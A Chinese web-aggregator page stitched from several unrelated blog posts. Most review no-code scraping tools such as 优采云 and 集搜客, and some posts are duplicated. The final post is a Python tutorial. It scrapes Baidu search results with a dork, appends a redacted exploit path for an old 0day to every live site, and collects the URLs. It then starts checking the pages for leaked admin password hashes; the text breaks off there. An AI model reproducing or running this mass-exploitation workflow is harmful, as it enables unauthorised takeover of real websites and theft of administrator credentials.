我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。
随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。
浅析通用爬虫软件—— 集搜客与优采云采集器
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-06-25 00:59
大 数 据 人
报道DT时代应用资讯及动态,爆料剖析行业热点新闻
最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面
图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。 查看全部
浅析通用爬虫软件—— 集搜客与优采云采集器
大 数 据 人
报道DT时代应用资讯及动态,爆料剖析行业热点新闻
最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面
图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。
白杨数说 | 优采云采集器,零代码实现爬虫
网站优化 • 优采云 发表了文章 • 0 个评论 • 150 次浏览 • 2022-06-23 09:50
优采云采集器是由前谷歌搜索技术团队基于人工智能技术研发的新一代网页采集软件。该软件功能强大,操作简单,不仅能够进行数据的自动化采集,而且在采集过程中还可以对数据进行清洗。在数据源头即可实现多种内容的过滤。
通过使用优采云采集器,用户能够快速、准确地获取海量网页数据,从而彻底解决了人工收集数据所面临的各种难题,降低了获取信息的成本,提高了工作效率。
接下来我们来一起看看这款软件的优秀之处。
一
功能介绍
优采云采集器是一款免费的采集软件,其采集工作分为两种类型:流程图模式与智能模式。
流程图模式的本质是图形化编程。该模式不仅可以支持可视化的网页点选操作,完全符合人工浏览网页的思维方式,用户只需要打开被采集的网站,用鼠标点击几下就能自动生成复杂的数据采集规则;同时支持积木式采集组件拼接操作,通过将复杂的采集编码流程进行可视化封装,让开发采集规则就像搭积木一样简单,零基础也能很快上手。
智能模式是加载网页后,软件自动分析网页结构,智能识别网页内容,简化操作流程。这种模式比较适合简单的网页爬取。
除以上两种采集工作,优采云采集器还支持以下功能:
※采集任务:100个任务,支持多任务同时运行,无数量限制
※ 采集网址:无数量限制,支持手动输入,从文件导入,批量生成
※ 采集内容:无数量限制
※ 下载图片:无数量限制
※ 导出数据:导出数据到本地(无数量限制),导出格式:Excel、Txt、Csv、Html
※ 发布到数据库:无数量限制,支持发布到本地和云端服务器,支持类型:MySQL、PgSQL、SqlServer、MongoDB
※ 数据处理:字段合并,文本替换,提取数字、提取邮箱,去除字符、正则替换等
※筛选功能:根据条件组合对采集字段进行筛选
※预登录采集:采集需要登录才能查看内容的网址
二
智能模式爬取网页
智能模式下的网页爬取只需要输入被采集的网址就能智能识别出网页中的内容和分页按钮,无需配置采集规则就能够完成数据的采集。接下来我们详细介绍一下智能模式的基本操作。
(1)输入正确的网址
输入了正确的网址,这个采集任务就成功了一半。
优采云采集器支持单网址和多网址采集,支持从本地TXT文件中导入网址,也支持参数网址批量生成。
(2)选择页面类型及设置分页
在智能模式下,优采云采集器会自动识别网页,如果出现识别不准确的情况,此时您可以先手动自动识别一下,如果手动自动识别还不起效果,您可以手动点选列表,从而辅助软件识别出正确的结果。
(3)预登录
在编辑任务过程中,我们有时候会遇到需要登录才能查看内容的网页,这时我们需要用到预登录功能,登录成功之后就能进行正常的数据采集。
(4)预执行操作
在编辑任务过程中,如果用户需要进行点击操作,可以使用预执行操作来满足用户需求。
(5)网络安全设置
在编辑任务过程中,用户如果遇到网页异常的时候可以试着使用此功能,但是要注意打开此选项可能导致页面上的某些内容无法采集(如iframe中的内容)。
(6)设置提取字段
智能模式下,软件会自动识别网页中的数据并展示到采集结果预览窗口,用户可以根据自己的需求对字段进行设置。
(7)深入采集、子网页采集
如果用户需要采集详情页的信息,可以点击左上角的深入采集按钮,或者直接点击某一条链接,从而打开详情页,采集详情页的数据。
(8)设置数据筛选/采集范围
在编辑任务的过程中,用户如果需要设置一些筛选条件或者设置采集范围,可以点击页面上相对应的按钮进行功能设置。
(9)采集任务的设置
在启动采集任务之前,我们需要对采集任务进行配置,包括定时启动、智能策略、自动导出、文件下载、加速引擎、数据去重及开发者设置。
(10)查看采集结果及导出数据
在采集任务结束之后,用户可以查看采集结果并导出数据。
三
软件的下载
(1)优采云采集器的下载及安装
优采云采集器支持Windows、Mac和Linux全操作系统。您可以进入官网首页()直接下载软件,网站会根据你的操作系统推送相应的版本。
(2)优采云采集器的注册及设置
打开优采云采集器,点击左上角进行新用户注册。您可以选择手机注册或者邮箱注册,优采云采集器为优采云旗下产品,如果您已经注册过优采云的账号,可以直接使用优采云的账号进行登陆,无需再次注册。
(3)软件升级
一般情况下,优采云采集器会自动识别新版本提示更新,如果没有提示的话,也可以在设置内检查更新,然后登录官网下载最新版本的安装包,下载完毕后直接双击打开即可进行完成软件更新。
优采云采集器是一款非常优秀的数据采集软件,它提供的免费功能可以解决绝大部分的数据抓取需求。如果有一些编程基础,可以明显的看出一些功能是对编程语言逻辑的封装,比如说流程图模式是对流程控制的封装,数据清洗功能是对字符串处理函数的封装。这些高阶功能扩展了优采云采集器的能力,也增大了学习难度。 查看全部
白杨数说 | 优采云采集器,零代码实现爬虫
优采云采集器是由前谷歌搜索技术团队基于人工智能技术研发的新一代网页采集软件。该软件功能强大,操作简单,不仅能够进行数据的自动化采集,而且在采集过程中还可以对数据进行清洗。在数据源头即可实现多种内容的过滤。
通过使用优采云采集器,用户能够快速、准确地获取海量网页数据,从而彻底解决了人工收集数据所面临的各种难题,降低了获取信息的成本,提高了工作效率。
接下来我们来一起看看这款软件的优秀之处。
一
功能介绍
优采云采集器是一款免费的采集软件,其采集工作分为两种类型:流程图模式与智能模式。
流程图模式的本质是图形化编程。该模式不仅可以支持可视化的网页点选操作,完全符合人工浏览网页的思维方式,用户只需要打开被采集的网站,用鼠标点击几下就能自动生成复杂的数据采集规则;同时支持积木式采集组件拼接操作,通过将复杂的采集编码流程进行可视化封装,让开发采集规则就像搭积木一样简单,零基础也能很快上手。
智能模式是加载网页后,软件自动分析网页结构,智能识别网页内容,简化操作流程。这种模式比较适合简单的网页爬取。
除以上两种采集工作,优采云采集器还支持以下功能:
※采集任务:100个任务,支持多任务同时运行,无数量限制
※ 采集网址:无数量限制,支持手动输入,从文件导入,批量生成
※ 采集内容:无数量限制
※ 下载图片:无数量限制
※ 导出数据:导出数据到本地(无数量限制),导出格式:Excel、Txt、Csv、Html
※ 发布到数据库:无数量限制,支持发布到本地和云端服务器,支持类型:MySQL、PgSQL、SqlServer、MongoDB
※ 数据处理:字段合并,文本替换,提取数字、提取邮箱,去除字符、正则替换等
※筛选功能:根据条件组合对采集字段进行筛选
※预登录采集:采集需要登录才能查看内容的网址
二
智能模式爬取网页
智能模式下的网页爬取只需要输入被采集的网址就能智能识别出网页中的内容和分页按钮,无需配置采集规则就能够完成数据的采集。接下来我们详细介绍一下智能模式的基本操作。
(1)输入正确的网址
输入了正确的网址,这个采集任务就成功了一半。
优采云采集器支持单网址和多网址采集,支持从本地TXT文件中导入网址,也支持参数网址批量生成。
(2)选择页面类型及设置分页
在智能模式下,优采云采集器会自动识别网页,如果出现识别不准确的情况,此时您可以先手动自动识别一下,如果手动自动识别还不起效果,您可以手动点选列表,从而辅助软件识别出正确的结果。
(3)预登录
在编辑任务过程中,我们有时候会遇到需要登录才能查看内容的网页,这时我们需要用到预登录功能,登录成功之后就能进行正常的数据采集。
(4)预执行操作
在编辑任务过程中,如果用户需要进行点击操作,可以使用预执行操作来满足用户需求。
(5)网络安全设置
在编辑任务过程中,用户如果遇到网页异常的时候可以试着使用此功能,但是要注意打开此选项可能导致页面上的某些内容无法采集(如iframe中的内容)。
(6)设置提取字段
智能模式下,软件会自动识别网页中的数据并展示到采集结果预览窗口,用户可以根据自己的需求对字段进行设置。
(7)深入采集、子网页采集
如果用户需要采集详情页的信息,可以点击左上角的深入采集按钮,或者直接点击某一条链接,从而打开详情页,采集详情页的数据。
(8)设置数据筛选/采集范围
在编辑任务的过程中,用户如果需要设置一些筛选条件或者设置采集范围,可以点击页面上相对应的按钮进行功能设置。
(9)采集任务的设置
在启动采集任务之前,我们需要对采集任务进行配置,包括定时启动、智能策略、自动导出、文件下载、加速引擎、数据去重及开发者设置。
(10)查看采集结果及导出数据
在采集任务结束之后,用户可以查看采集结果并导出数据。
三
软件的下载
(1)优采云采集器的下载及安装
优采云采集器支持Windows、Mac和Linux全操作系统。您可以进入官网首页()直接下载软件,网站会根据你的操作系统推送相应的版本。
(2)优采云采集器的注册及设置
打开优采云采集器,点击左上角进行新用户注册。您可以选择手机注册或者邮箱注册,优采云采集器为优采云旗下产品,如果您已经注册过优采云的账号,可以直接使用优采云的账号进行登陆,无需再次注册。
(3)软件升级
一般情况下,优采云采集器会自动识别新版本提示更新,如果没有提示的话,也可以在设置内检查更新,然后登录官网下载最新版本的安装包,下载完毕后直接双击打开即可进行完成软件更新。
优采云采集器是一款非常优秀的数据采集软件,它提供的免费功能可以解决绝大部分的数据抓取需求。如果有一些编程基础,可以明显的看出一些功能是对编程语言逻辑的封装,比如说流程图模式是对流程控制的封装,数据清洗功能是对字符串处理函数的封装。这些高阶功能扩展了优采云采集器的能力,也增大了学习难度。
互联网数据采集器---优采云
网站优化 • 优采云 发表了文章 • 0 个评论 • 1081 次浏览 • 2022-06-23 09:46
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
下载网址:
折叠编辑本段主要功能
简单来讲,使用优采云可以非常容易的从任何网页精确采集你需要的数据,生成自定义的、规整的数据格式。优采云数据采集系统能做的包括但并不局限于以下内容:
1. 金融数据,如季报,年报,财务报告, 包括每日最新净值自动采集;
2. 各大新闻门户网站实时监控,自动更新及上传最新发布的新闻;
3. 监控竞争对手最新信息,包括商品价格及库存;
4. 监控各大社交网站,博客,自动抓取企业产品的相关评论;
5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。
折叠编辑本段产品优势折叠操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
折叠云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
折叠拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
折叠图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
折叠定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
折叠2分钟快速入门
内置从入门到精通所需要的视频教程,2分钟就能上手使用,另外还有文档,论坛,qq群等。
折叠免费使用
它是免费的,并且免费版本没有任何功能限制,你现在就可以试一试,立即下载安装。
配置视频教程: 查看全部
互联网数据采集器---优采云
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
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2. 各大新闻门户网站实时监控,自动更新及上传最新发布的新闻;
3. 监控竞争对手最新信息,包括商品价格及库存;
4. 监控各大社交网站,博客,自动抓取企业产品的相关评论;
5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。
折叠编辑本段产品优势折叠操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
折叠云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
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模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
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【教程】使用优采云采集器软件爬取网页数据
网站优化 • 优采云 发表了文章 • 0 个评论 • 141 次浏览 • 2022-06-22 04:37
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址
第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。
输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。 查看全部
【教程】使用优采云采集器软件爬取网页数据
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址
第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。
输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。
Python大黑阔—url采集+exp验证,带你批量测试
网站优化 • 优采云 发表了文章 • 0 个评论 • 196 次浏览 • 2022-09-16 05:05
大家好!我是每天为大家分享好文的柠檬!与你一起成长~
有需要体系化黑客渗透视频教程可看文末哦
一.前言
最近几天在整理从各处收集来的各种工具包,大大小小的塞满了十几个G的硬盘,无意间发现了一个好几年前的0day。
心血来潮就拿去试了一下,没想到真的还可以用,不过那些站点都已经老的不像样了,个个年久失修,手工测了几个发现,利用率还挺可观,于是就想配合url采集器写一个批量exp的脚本。
于是就有了今天这一文,结尾附上一枚表哥论坛的邀请码一不小心买多了。先到先得哦。
二.开始
环境,及使用模块:
Python3
Requests
Beautifulsuop
Hashlib
老规矩先明确目标
需要编写一个url采集器,收集我们的目标网址,
需要将我们的exp结合在其中。
先看一下exp 的格式吧,大致是这样的:
exp:xxx/xxx/xxx/xxx
百度关键字:xxxxxx
利用方式在网站后加上exp,直接爆出管理账号密码,
像这样:
PS:后面都用这个代替我们的代码中
再放个效果图
没错就是这样。直接出账号密码哈哈哈。
好了我们正式开始写程序。
url采集模块:
首先我们要编写一个基于百度搜索的url采集器。我们先来分析一下百度的搜索方式,
我们打开百度,输入搜索关键字 这里用芒果代替。
可以看到wd参数后跟着我们的关键字,我们点击一下第二页看下页码是哪个参数在控制。
好的我们和前面url对比一下会发现pn参数变成了10,同理我们开启第三页第四页,发现页码的规律是从0开始每一页加10.这里我们修改pn参数为90看下是不是会到第十页。
可以看到真的变成第十页了,证明我们的想法是正确的。我们取出网址如下
芒果&pn=0
这里pn参数后面的东西我们可以不要,这样就精简很多。
我们开始写代码。我们先需要一个main函数打开我们的百度网页,我们并利用for循环控制页码变量,实现打开每一页的内容。
先实现打开一页网站,代码如下
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> r=requests.get(url=url)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br /><br />if __name__ == '__main__':<br /> main()#调用函数main
我们运行一下发现返回的页面是这样的,并没有我们想要的内容。
这是为什么,原因就是因为百度是做了反爬的,但是不用担心,我们只要加入headers参数,一起请求就可以了。修改后代码如下:
def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup
这样在运行,就可以看到成功的返回了网页内容。
好的,我们再加上我们的循环,让他可以遍历每一个网页。一个简单的爬虫就写好了,不过什么内容也没爬,先附上代码。
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> for i in range(0,750,10):#遍历页数,每次增加10<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br />if __name__ == '__main__':<br /> main()#调用函数main
我们继续分析网页,取出每一个网址。右键审查元素,查看在源代码中的位置。
可以看到,我们的要取的数据,在一个名字为a的标签中,我们用bs取出这个标签所有内容。
并用循环去取出“href”属性中的网址,main函数代码如下。
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> print url['href']#取出href中的链接内容
这里解释一下为什么有class:none这个语句,如果我们不加这一句,我们会发现我们同时也取到了百度快照的地址。
在快照的地址中,class属性是有值的,但是我们真正的链接中,没有class属性,这样我们就不会取到快照的链接了。
运行一下,成功返回我们要的链接
我们下一步就是验证这些链接是否可用,因为有的网站虽然还可以搜索到,但是已经打不开了。
这里利用request模块以此请求我们的链接,并查看返回的状态码是不是200,如果为两百则说明,网站是正常可以打开的。
在for循环中加上如下两行代码,运行。
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br />print r_get_url.status_code
可以看到成功反返回了200,。接下来我们就要吧可以成功访问的网址的地址打印出来,并且只要网站的主页网址。
我们分析一个网址
发现这里都是由“/”分割的,我们可以吧url用“/”分割,并取出我们要向的网址。
运行程序后。会发现返回这样的网址,他们有一部分是带着目录的。
我们用/分割url为列表之后,列表中的第一个为网站所使用协议,第三个则为我们要取的网址首页。代码如下
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br /> if r_get_url.status_code==200:#判断状态码是否为200<br /> url_para= r_get_url.url#获取状态码为200的链接<br /><br /> url_index_tmp=url_para.split('/')#以“/”分割url<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。<br /> print url_index
运行后,成功取出我们要取的内容。
好的到这里我们最主要的功能就实现了,下面我们进入我们激动人心的时候,加入exp,批量拿站。
三.exp模板
如何实现这个功能呢,原理就是,在我们爬取的链接后加入我们的exp,拼接成一个完整的地址,并取出这个网址并保存在一个txt文本中,供我们验证。
现在我们的代码是这样的
# -*- coding: UTF-8 -*-<br />import requests<br />import re<br />from bs4 import BeautifulSoup as bs<br />def main():<br /> for i in range(0,10,10):<br /> expp=("/xxx/xxx/xxx/xx/xxxx/xxx")<br /> url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)<br /> if r_get_url.status_code==200:<br /> url_para= r_get_url.url<br /> url_index_tmp=url_para.split('/')<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]<br /> with open('cs.txt') as f:<br /> if url_index not in f.read():#这里是一个去重的判断,判断网址是否已经在文本中,如果不存在则打开txt并写入我们拼接的exp链接。<br /> print url_index<br /> f2=open("cs.txt",'a+')<br /> f2.write(url_index+expp+'\n')<br /> f2.close()<br /><br />if __name__ == '__main__':<br /> f2=open('cs.txt','w')<br /> f2.close()<br /> main()
这里我把exp用xxx代替了,你们自行替换一下。放在最后了。
运行一下我们的程序,在根目录下,我们可以找到一个cs.txt的文本文档,打开之后是这样的。
打码有一点点严重。不过不影响,小问题,大家理解就好了,其实到这里就结束了,我们可以手工去验证,一条一条的去粘贴访问,查看是否有我们要的内容
But,我懒啊,一条一条的去验证,何年何月了。
这里我们在新建一个py文件,用来验证我们上一步抓取的链接,这样我们就把两个模块分开了,你们可以只用第一个url采集的功能。
我们的思路是这样的,打开我们刚才采集的链接,并查找网页上是否有特定内容,如果有,则讲次链接保存在一个文件中,就是我们验证可以成功利用的链接。
我们先看一下利用成功的页面是什么样子的。
利用失败的页面
我们发现利用成功的页面中有管理员密码的hash,这里我们利用hashlib模块判断页面中是否有MD5,如果有则打印出来,并将MD5取出来和链接一起保存再文本中。
我们先分析一下网站源码,方便我们取出内容
